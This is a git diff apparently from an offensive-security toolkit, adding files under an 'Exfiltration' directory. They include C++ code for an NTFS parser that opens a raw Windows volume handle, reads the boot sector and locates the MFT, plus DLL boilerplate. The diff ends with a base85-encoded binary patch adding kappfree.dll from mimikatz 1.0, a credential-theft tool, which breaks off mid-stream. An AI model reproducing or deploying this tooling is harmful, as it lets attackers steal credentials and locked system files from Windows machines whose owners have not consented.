(CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsEncrypted() : FALSE; +} + +__inline BOOL CFileRecord::IsSparse() const +{ + const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry(); + return si ? si->IsSparse() : FALSE; +} + + +/////////////////////////////////////// +// NTFS Volume Implementation +/////////////////////////////////////// +CNTFSVolume::CNTFSVolume(_TCHAR volume) +{ + hVolume = INVALID_HANDLE_VALUE; + VolumeOK = FALSE; + MFTRecord = NULL; + MFTData = NULL; + Version = 0; + ClearAttrRawCB(); + + if (!OpenVolume(volume)) + return; + + // Verify NTFS volume version (must >= 3.0) + + CFileRecord vol(this); + vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION); + if (!vol.ParseFileRecord(MFT_IDX_VOLUME)) + return; + + vol.ParseAttrs(); + CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION); + if (!vi) + return; + + Version = vi->GetVersion(); + NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version)); + if (Version < 0x0300) // NT4 ? + return; + +#ifdef _DEBUG + CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME); + if (vn) + { + char volname[MAX_PATH]; + if (vn->GetName(volname, MAX_PATH) > 0) + { + NTFS_TRACE1("NTFS volume name: %s\n", volname); + } + } +#endif + + VolumeOK = TRUE; + + MFTRecord = new CFileRecord(this); + MFTRecord->SetAttrMask(MASK_DATA); + if (MFTRecord->ParseFileRecord(MFT_IDX_MFT)) + { + MFTRecord->ParseAttrs(); + MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA); + if (MFTData == NULL) + { + delete MFTRecord; + MFTRecord = NULL; + } + } +} + +CNTFSVolume::~CNTFSVolume() +{ + if (hVolume != INVALID_HANDLE_VALUE) + CloseHandle(hVolume); + + if (MFTRecord) + delete MFTRecord; +} + +// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB +BOOL CNTFSVolume::OpenVolume(_TCHAR volume) +{ + // Verify parameter + if (!_istalpha(volume)) + { + NTFS_TRACE("Volume name error, should be like 'C', 'D'\n"); + return FALSE; + } + + _TCHAR volumePath[7]; + _sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume); + volumePath[6] = _T('\0'); + + hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL); + if (hVolume != INVALID_HANDLE_VALUE) + { + DWORD num; + NTFS_BPB bpb; + + // Read the first sector (boot sector) + if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512) + { + if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0) + { + // Log important volume parameters + + SectorSize = bpb.BytesPerSector; + NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize); + + ClusterSize = SectorSize * bpb.SectorsPerCluster; + NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize); + + int sz = (char)bpb.ClustersPerFileRecord; + if (sz > 0) + FileRecordSize = ClusterSize * sz; + else + FileRecordSize = 1 << (-sz); + NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize); + + sz = (char)bpb.ClustersPerIndexBlock; + if (sz > 0) + IndexBlockSize = ClusterSize * sz; + else + IndexBlockSize = 1 << (-sz); + NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize); + + MFTAddr = bpb.LCN_MFT * ClusterSize; + NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr); + } + else + { + NTFS_TRACE("Volume file system is not NTFS\n"); + goto IOError; + } + } + else + { + NTFS_TRACE("Read boot sector error\n"); + goto IOError; + } + } + else + { + NTFS_TRACE1("Cannnot open volume %c\n", (char)volume); +IOError: + if (hVolume != INVALID_HANDLE_VALUE) + { + CloseHandle(hVolume); + hVolume = INVALID_HANDLE_VALUE; + } + return FALSE; + } + + return TRUE; +} + +// Check if Volume is successfully opened +__inline BOOL CNTFSVolume::IsVolumeOK() const +{ + return VolumeOK; +} + +// Get NTFS volume version +__inline WORD CNTFSVolume::GetVersion() const +{ + return Version; +} + +// Get File Record count +__inline ULONGLONG CNTFSVolume::GetRecordsCount() const +{ + return (MFTData->GetDataSize() / FileRecordSize); +} + +// Get BPB information + +__inline DWORD CNTFSVolume::GetSectorSize() const +{ + return SectorSize; +} + +__inline DWORD CNTFSVolume::GetClusterSize() const +{ + return ClusterSize; +} + +__inline DWORD CNTFSVolume::GetFileRecordSize() const +{ + return FileRecordSize; +} + +__inline DWORD CNTFSVolume::GetIndexBlockSize() const +{ + return IndexBlockSize; +} + +// Get MFT starting address +__inline ULONGLONG CNTFSVolume::GetMFTAddr() const +{ + return MFTAddr; +} + +// Install Attribute CallBack routines for the whole Volume +BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb) +{ + DWORD atIdx = ATTR_INDEX(attrType); + if (atIdx < ATTR_NUMS) + { + AttrRawCallBack[atIdx] = cb; + return TRUE; + } + else + return FALSE; +} + +// Clear all Attribute CallBack routines +__inline void CNTFSVolume::ClearAttrRawCB() +{ + for (int i = 0; i < ATTR_NUMS; i ++) + AttrRawCallBack[i] = NULL; +} + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/ReadMe.txt b/Exfiltration/NTFSParser/NTFSParserDLL/ReadMe.txt new file mode 100644 index 00000000..f0918b07 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/ReadMe.txt @@ -0,0 +1,48 @@ +======================================================================== + DYNAMIC LINK LIBRARY : NTFSParserDLL Project Overview +======================================================================== + +AppWizard has created this NTFSParserDLL DLL for you. + +This file contains a summary of what you will find in each of the files that +make up your NTFSParserDLL application. + + +NTFSParserDLL.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +NTFSParserDLL.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +NTFSParserDLL.cpp + This is the main DLL source file. + + When created, this DLL does not export any symbols. As a result, it + will not produce a .lib file when it is built. If you wish this project + to be a project dependency of some other project, you will either need to + add code to export some symbols from the DLL so that an export library + will be produced, or you can set the Ignore Input Library property to Yes + on the General propert page of the Linker folder in the project's Property + Pages dialog box. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named NTFSParserDLL.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/dllmain.cpp b/Exfiltration/NTFSParser/NTFSParserDLL/dllmain.cpp new file mode 100644 index 00000000..c434a170 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/dllmain.cpp @@ -0,0 +1,36 @@ +/* + * + * Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +// +// This code uses libraries released under GPLv2(or later) written by cyb70289 + +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.cpp b/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.cpp new file mode 100644 index 00000000..2f18cb05 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// NTFSParserDLL.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.h b/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.h new file mode 100644 index 00000000..a11216ad --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/stdafx.h @@ -0,0 +1,18 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files: +#include +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/targetver.h b/Exfiltration/NTFSParser/NTFSParserDLL/targetver.h new file mode 100644 index 00000000..87c0086d --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.dll b/Exfiltration/mimikatz-1.0/Win32/kappfree.dll new file mode 100644 index 0000000000000000000000000000000000000000..83b3a439bcf0c91a009fc12f00bf576a30644ec4 GIT binary patch literal 34816 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 